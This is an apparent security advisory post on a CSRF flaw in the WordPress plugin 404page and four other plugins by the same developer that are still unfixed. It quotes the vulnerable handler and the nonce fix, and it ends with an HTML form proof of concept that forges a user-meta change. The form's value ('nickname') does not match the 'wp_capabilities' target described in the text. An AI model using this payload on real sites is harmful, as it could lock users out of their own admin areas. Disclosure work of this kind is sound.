01 Apr

Cross-Site Request Forgery (CSRF) Vulnerability in 404page

The plugin 404page was closed on the WordPress Plugin Directory on Saturday. As that is one of 1,000 most popular plugins our systems alerted us to its removal and then we checked things over to see if there was a security issue that might have led to it being removed. While no reason had been given for its removal, in a quick check we found a minor, but rather nasty vulnerability that could an attacker to cause WordPress users to disable their access to the website without intending it. We then used WPDirectory to see if other plugins might have similar code and found that a number of other plugins by the same developer do. Subsequently to us doing that, the vulnerability was fixed in 404page and then subsequently that was credited to Julio Potier, so it appears that was the cause of the closure, but the other plugins have not been fixed yet.

The plugin makes the function dismiss_admin_notice() accessible to anyone logged in to WordPress through WordPress’ AJAX functionality:

81
add_action( 'wp_ajax_pp_404page_dismiss_admin_notice', array( $this, 'dismiss_admin_notice' ) );

That function will update the value of an arbitrary user meta field to “dimissed”, with the user meta field to be updated specified by the post input “pp_404page_dismiss_admin_notice”:

425
426
427
428
429
430
431
function dismiss_admin_notice() {
 
  if ( isset( $_POST['pp_404page_dismiss_admin_notice'] ) ) {
 
	update_user_meta( get_current_user_id(), $_POST['pp_404page_dismiss_admin_notice'], 'dismissed' );
 
  }

We can’t think of an obvious way someone logged in could use that in a malicious fashion, but through cross-site request forgery (CSRF) an attacker could cause a logged in user to change a user meta field without intending it. Where that could be abused for a nasty result is to update the “wp_capabilities” user meta field, since with that set to “dissmissed” the user will no longer have access to the admin area of WordPress.

That was fixed in 404page by adding a check for a valid nonce:

428
429
430
431
432
433
function dismiss_admin_notice() {
 
  // since 10.4 check nonce
  if ( $this->check_nonce() ) {
 
	if ( isset( $_POST['pp_404page_dismiss_admin_notice'] ) ) {

The vulnerability has yet to be fixed in the other plugins impacted: hashtagger, Link Log, smart Archive Page Remove, smart User Slug Hider.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will cause the “wp_capabilities” user meta field to be updated to “dismissed”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pp_smart_user_slug_hider_dismiss_admin_notice" method="POST">
<input type="hidden" name="pp_smart_user_slug_hider_dismiss_admin_notice" value="nickname" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.